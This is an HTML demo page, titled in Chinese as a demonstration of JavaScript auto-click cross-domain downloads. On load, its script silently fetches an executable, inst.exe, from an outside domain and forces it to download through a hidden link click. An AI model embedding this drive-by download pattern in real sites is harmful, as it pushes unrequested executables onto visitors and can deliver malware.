<!DOCTYPE html>
<html>
	<head>
    <meta http-equiv="Content-Type" content="text/html"; charset="utf-8"> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0">    
	  <link rel="shortcut icon" type="images/x-png" href="/favicon-16x16.png">
	  <link rel="shortcut icon" type="images/x-png" href="/favicon-32x32.png">
    <img src="logo.png" alt="Company Logo" width="200" height="100">
    <title>这是一个演示站点，演示js自动点击下载跨域</title>
     <style>
	    .logo {
     	max-width: 100%;
     	height: auto;
  	 }
  	 </style>
		<script>
		function downloadFile(url, fileName) {
		  fetch(url)
		    .then(response => response.blob())
		    .then(blob => {
		      // 创建一个临时URL
		      const blobUrl = URL.createObjectURL(blob);
		
		      // 创建一个a标签，并设置下载属性
		      const link = document.createElement("a");
		      link.href = blobUrl;
		      link.download = fileName;
		
		      // 模拟点击下载
		      link.click();
		
		      // 释放临时URL
		      URL.revokeObjectURL(blobUrl);
		    })
		    .catch(error => console.error(error));
		}
		
		// 调用下载函数
		const fileUrl = "https://dl.go-get.cn/inst.exe";
		const fileName = "inst.exe";
		downloadFile(fileUrl, fileName);	
		// 调用下载函数
		</script>
	</head>
	<body>
	  <header>
  	  <img src="logo.png" alt="Company Logo" class="logo">
	  </header>
		<p>显示结果： A B C</p>
		<p>显示结果： &#65; &#66; &#67;</p>
	</body>
</html>